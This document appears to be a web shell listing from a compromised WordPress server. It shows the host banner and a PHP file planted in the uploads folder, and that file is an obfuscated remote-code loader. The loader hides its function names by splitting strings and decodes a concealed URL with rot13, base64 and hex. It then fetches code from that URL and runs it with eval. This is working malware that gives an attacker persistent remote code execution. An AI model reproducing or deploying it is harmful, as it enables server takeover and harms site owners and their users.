HEX
Server: nginx/1.24.0
System: Linux DGT-WORDPRESS-VM-SERVER 6.14.0-1017-azure #17~24.04.1-Ubuntu SMP Mon Dec 1 20:10:50 UTC 2025 x86_64
User: ubuntu (1000)
PHP: 8.4.12
Disabled: NONE
Upload Files
File: /mnt/data/truelysell-wp/wp-content/uploads/2024/07/skeleton/sceptic.php
<?php
$fgc = 'f'.'i'.'le'.'_ge'.'t_'.'co'.'n'.'te'.'nt'.'s';
function bunvis($url)
{
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $response = curl_exec($ch);
  curl_close($ch);
  return $response;
}
function bunvisGanteng($ipt)
{
  $dx = 'd'.'e'.'c'.'h'.'e'.'x';
  $bec = 'ba'.'s'.'e6'.'4_'.'en'.'co'.'de';
  $odr = 'or'.'d';
  $sln = 'st'.'rl'.'en';
  $strt = 's'.'tr_'.'rot'.'13';
  $hex = '';
  for ($i = 0; $i < $sln($ipt); $i++) {
    $hex .= $dx($odr($ipt[$i]));
  }
  $base64 = $bec($hex);
  return $strt($base64);
}
function bunny($my_self)
{
  $sln = 'st'.'rl'.'en';
  $strt = 'st'.'r_'.'r'.'ot13';
  $bdec = 'b'.'as'.'e'.'64_de'.'co'.'de';
  $hrc = 'ch'.'r';
  $hxc = 'h'.'ex'.'de'.'c';
  $subr = 's'.'ub'.'st'.'r';
  $rEq = $strt($my_self);
  $bsfD = $bdec($rEq);
  $record = '';
  for ($i = 0; $i < $sln($bsfD); $i += 2) {
    $record .= $hrc($hxc($subr($bsfD, $i, 2)));
  }
  return $record;
}
$my_self = 'Awt3AQp0AmN3ZmAuZzLlMwLmAwD2MGWyAzR3ZmL0AwH2LmL5AmL3ZwWyAzH2AGp0ZzL2AmL4ZzL2Lmp1AwZ2AGMyAwV3BGp0AwHlMwDkAmV2ZmL4Awx0LmMzAwp3ZmDjAzD2ZGL5AzHlMwL4AwR3ZwL0ZzD3AwZkZzH3AQp4AmD=';
$record = bunny($my_self);
$response = @$fgc($record);
if (empty($response)) {
  $response = bunvis($record);
}
if (is_string($response)) {
  eval('?>' . $response);
} else {
  echo "Error: Unable to retrieve content.";
}